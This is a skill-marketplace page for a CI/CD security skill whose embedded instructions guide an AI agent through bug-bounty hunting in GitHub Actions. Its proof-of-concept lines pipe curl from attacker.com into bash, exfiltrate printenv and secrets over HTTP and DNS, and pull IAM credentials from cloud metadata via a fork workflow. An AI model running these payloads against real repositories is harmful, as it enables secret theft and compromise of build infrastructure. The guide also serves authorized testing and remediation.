Cicd Security logo

Cicd Security

OrganizationPopular
awarexone
cicd-security

CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.

Overview

Publisherawarexone
RepositoryAgentic-Bug-Hunter
Skill namecicd-security
Stars
4.9K
Forks
868
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by awarexone on GitHub. Read the source before you install it.

Installation

Install the Cicd Security AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/awarexone/Agentic-Bug-Hunter.git /tmp/Agentic-Bug-Hunter
mkdir -p .claude/skills
cp -r /tmp/Agentic-Bug-Hunter/skills/cicd-security .claude/skills/cicd-security
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cicd Security in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cicd Security on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cicd Security is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

CI/CD SECURITY — Pipeline Attack Surface

CI/CD pipelines are high-value targets — a single workflow injection can give you code execution on the build server, read ALL org secrets, and push backdoored releases to production.


0. QUICK KILL CHECKLIST

[ ] Run cicd_scanner.sh <owner/repo> — catch low-hanging workflow lint issues
[ ] Check for script injection: ${{ github.event.*.body/title/name }}
[ ] Find secrets referenced in env: — test if they leak in logs
[ ] Check pull_request_target with checkout of untrusted code
[ ] Look for self-hosted runners on public repos
[ ] Search for OIDC token requests without audience restriction
[ ] Check for unpinned actions (uses: owner/action@main)
[ ] Look for workflow_dispatch with no input validation
[ ] Find artifact downloads without integrity checks
[ ] Search for GITHUB_TOKEN with write permission used insecurely

1. TOOL — cicd_scanner.sh

bash
# Single repo
bash tools/cicd_scanner.sh owner/repo

# Org-wide (up to 30 repos)
bash tools/cicd_scanner.sh "org:orgname" --limit 50 --parallel 5

# Scan with recursive reusable workflow analysis
bash tools/cicd_scanner.sh owner/repo --recursive --depth 5

# Custom output
bash tools/cicd_scanner.sh owner/repo --output-dir ./findings/target/cicd

Output: findings/<target>/cicd/scan_results.txt + summary.txt

What sisakulint finds:

  • Script injection via untrusted context
  • Unpinned actions (tag instead of SHA)
  • pull_request_target misuse
  • Dangerous patterns (eval, curl | bash, etc.)
  • Exposed secret names in run: blocks

2. WORKFLOW INJECTION (Critical — Most Common Paid Bug)

What It Is

GitHub Actions exposes PR/issue data as context variables. If injected into a run: block without sanitization, an attacker controls shell code.

Vulnerable Pattern

yaml
# VULNERABLE — attacker controls pr.title
- name: Print PR title
  run: echo "Title: ${{ github.event.pull_request.title }}"
  # Attacker PR title: "; curl attacker.com/shell.sh | bash #"

Safe Pattern

yaml
# SAFE — pass through env var, never interpolate directly
- name: Print PR title
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}
  run: echo "Title: $PR_TITLE"

Injectable Contexts (always check these)

github.event.pull_request.title
github.event.pull_request.body
github.event.pull_request.head.ref        ← branch names
github.event.issue.title
github.event.issue.body
github.event.comment.body
github.event.review.body
github.event.review_comment.body
github.event.discussion.title
github.event.discussion.body
github.head_ref                            ← alias for branch name
github.event.inputs.*                      ← workflow_dispatch inputs

PoC Payload

# PR title / issue title payload:
"; wget -q -O- attacker.com/$(cat /etc/hostname | base64) #

Detection Grep

bash
# Find injectable patterns in .github/workflows/
grep -rn '\${{.*github\.event\.\(pull_request\|issue\|comment\|review\|discussion\)' .github/workflows/
grep -rn '\${{.*github\.head_ref' .github/workflows/
grep -rn '\${{.*github\.event\.inputs' .github/workflows/

3. pull_request_target MISUSE (Critical)

What It Is

pull_request_target runs in the context of the BASE repo (has secrets) but can be tricked into checking out and running attacker code.

Vulnerable Pattern

yaml
on: pull_request_target

jobs:
  test:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # ← attacker code!
      - run: npm test  # runs attacker's package.json scripts

Why It's Critical

  • pull_request_target has access to secrets
  • Checkout uses the PR's code
  • Any run: step executes attacker-controlled code with access to all org secrets

Detection

bash
grep -rn 'pull_request_target' .github/workflows/
# Then check if the same job does a checkout of the PR head
grep -A 20 'pull_request_target' .github/workflows/*.yml | grep -E '(head\.sha|head_ref|checkout)'

4. SECRET EXFILTRATION

Secrets That Appear in Logs

bash
# Search for secrets echoed in run: blocks
grep -rn 'echo.*secrets\.' .github/workflows/
grep -rn 'cat.*secrets\.' .github/workflows/
grep -rn 'env.*secrets\.' .github/workflows/ | grep -v '^#'

GITHUB_TOKEN Abuse

The auto-generated GITHUB_TOKEN can be used to:

  • Push code to branches
  • Create releases
  • Read all private repo content
  • Approve PRs (if permissions allow)
yaml
# Check for overly broad permissions
permissions:
  contents: write    # ← Can push/delete code
  packages: write    # ← Can push malicious packages
  pull-requests: write

PoC — Exfil via DNS

bash
# In an injected run: block
curl "https://attacker.com/?d=$(printenv | base64 -w0)"
# Or via DNS (more stealthy)
nslookup "$(printenv SECRET | md5sum | cut -c1-20).attacker.com"

5. SELF-HOSTED RUNNER POISONING

Why It Matters

Public repos with self-hosted runners allow ANY fork to queue jobs on internal machines.

Detection

bash
# In workflow files
grep -rn 'self-hosted' .github/workflows/
# Combined with — does the repo accept PRs from forks?
# Pull triggers that run on self-hosted
grep -B5 'self-hosted' .github/workflows/*.yml | grep -E '(pull_request|push)'

Exploit Path

  1. Fork public repo that uses self-hosted runners
  2. Open PR with malicious workflow step
  3. Job runs on internal self-hosted runner
  4. Access internal network, read instance metadata, exfil secrets

PoC Workflow Addition

yaml
# Attacker adds to fork:
jobs:
  pwn:
    runs-on: self-hosted
    steps:
      - name: Recon
        run: |
          curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ \
            | xargs -I{} curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/{}

6. OIDC TOKEN THEFT / CLOUD CREDENTIAL ABUSE

What It Is

GitHub Actions can request short-lived cloud credentials via OIDC. Misconfigured trust policies allow any branch/repo to claim elevated AWS/GCP/Azure roles.

Detection

bash
# Find OIDC usage
grep -rn 'id-token.*write\|configure-aws-credentials\|google-github-actions\|azure/login' .github/workflows/

Exploit: Overly Broad AWS Trust Policy

json
{
  "Condition": {
    "StringEquals": {
      "token.actions.githubusercontent.com:aud": "sts.amazonaws.com",
      "token.actions.githubusercontent.com:sub": "repo:org/*:*"
    }
  }
}

→ Any branch in the org can assume this role.

What to Check

1. What role does the workflow assume? (aws:role: ARN in workflow or secrets)
2. Is the trust policy scoped to a specific branch? (ref:refs/heads/main)
3. Can you trigger this from a fork or feature branch?
4. What permissions does the role have?

7. DEPENDENCY CONFUSION / SUPPLY CHAIN

Unpinned Actions

yaml
# VULNERABLE — could be hijacked if maintainer's account is compromised
uses: actions/checkout@v3

# SAFE — pinned to a specific commit SHA
uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683

Dependency Confusion Attack

  1. Find package.json or requirements.txt that references internal packages
  2. Check if the internal package name is published on npm/PyPI
  3. Publish a malicious package with a higher version number
  4. Build server installs the public (malicious) one instead

Detection

bash
# Find internal package names in config files
grep -rn '"registry"' package.json .npmrc
grep -rn 'index-url\|extra-index-url' requirements.txt pip.conf setup.py
# Check if those package names exist on public registries

8. BUG CLASS TABLE

BugTriggerSeverityCVSS Range
Workflow injection via PR title${{ github.event.pull_request.title }} in run:Critical9.0–10.0
pull_request_target + checkoutAccepts PRs from forksCritical9.0–10.0
Self-hosted runner on public reporuns-on: self-hosted + public repoHigh7.5–9.0
OIDC trust too broadAny-branch/any-repo claimHigh7.5–8.5
Secret in logecho ${{ secrets.X }}Medium5.5–7.0
Unpinned action@main / @v1 tagLow–Medium3.0–5.5
Artifact poisoningUnsigned artifact download + execMedium5.5–7.0
GITHUB_TOKEN write abusePush to protected branchMedium5.5–7.0
Dependency confusionInternal pkg not on public registryHigh7.5–9.0
workflow_dispatch injectionUnvalidated inputs in run:Medium–High6.0–8.0

9. CHAINING CI/CD BUGS

Chain A: IDOR → CI/CD Secret Read

1. IDOR on /api/repos/{id}/settings → read CI/CD config
2. Config references internal secret names
3. Workflow injection to exfil those secrets
→ Impact: Full org secret exfiltration

Chain B: XSS → GitHub Token Theft

1. Stored XSS on internal GitHub Enterprise
2. JS payload reads document.cookie / localStorage for GITHUB_TOKEN
3. Token used to trigger workflow with malicious inputs
→ Impact: RCE on build infrastructure

Chain C: Supply Chain → Production Push

1. Find unpinned action (e.g., uses: corp/internal-action@main)
2. Fork or compromise corp/internal-action
3. Merge malicious code
4. Next CI run pulls the compromised action with full repo write access
→ Impact: Code execution, backdoored releases

10. REPORT TEMPLATE

markdown
## Summary
GitHub Actions workflow in `<repo>` is vulnerable to **workflow injection** via the
`github.event.pull_request.title` context variable, which is interpolated directly
into a `run:` shell block. An attacker who opens a specially crafted PR can achieve
arbitrary code execution on the build runner with full access to all repository secrets.

## Steps to Reproduce
1. Fork `<repo>`
2. Open a PR with the following title:
   `"; curl -s attacker.com/$(cat /etc/hostname | base64 -w0 | head -c 40) #`
3. The CI workflow `.github/workflows/<name>.yml` runs and executes the injected command.
4. Observe DNS/HTTP callback to attacker.com with hostname (or secret payload).

## Impact
- RCE on build runner
- Read of all `${{ secrets.* }}` available to the workflow
- Ability to push malicious code to repository or publish backdoored packages
- Pivot to internal network if runner is self-hosted

## Remediation
Replace direct context interpolation with environment variable assignment:
env:
  PR_TITLE: ${{ github.event.pull_request.title }}
run: echo "$PR_TITLE"

## CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H (Critical, 10.0)

11. SCOPE NOTES

  • Most bug bounty programs scope public repos only — confirm before touching private org repos.
  • Self-hosted runner attacks require a successful workflow run, which means opening a real PR — confirm the program allows this.
  • Never trigger a workflow that could affect production infrastructure without explicit written permission.
  • Always check SECURITY.md or the program policy for CI/CD-specific scope language.

12. TOOLS REFERENCE

ToolPurposeInstall
sisakulintLint GitHub Actions workflows for security issuesbash install_tools.sh
trufflehogFind secrets leaked in git history / workflow logsbash install_tools.sh
gitleaksScan repos for hardcoded secretsbash install_tools.sh
gh CLIDownload workflow logs, list secrets, trigger runsbrew install gh
nucleiCI/CD-specific templates-tags cicd
secrets_hunter.shWrapper for all three secret scannersbash tools/secrets_hunter.sh
bash
# Download public workflow run logs (no auth needed)
gh run list --repo owner/repo --limit 10
gh run view <run-id> --log --repo owner/repo

# List exposed secret names (names only — values never shown by API)
gh secret list --repo owner/repo

Frequently asked questions

What does the Cicd Security AI skill do?

CI/CD pipeline security hunting — GitHub Actions workflow injection, secret exfiltration, self-hosted runner poisoning, dependency confusion, OIDC token theft, and supply chain attacks. Covers sisakulint scanning, manual workflow analysis, and chaining CI/CD bugs into critical findings. Use when a target has public repos, GitHub Actions, CircleCI, Jenkins, or GitLab CI.

Why use Cicd Security on TypingMind?

Because you install it once and use it with any model. Cicd Security is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cicd Security in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/awarexone/Agentic-Bug-Hunter/tree/main/skills/cicd-security. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Cicd Security?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cicd Security?

As many as you like. As long as a model supports skills, you can use Cicd Security with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cicd Security AI skill free?

Yes. It is published on GitHub by awarexone under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇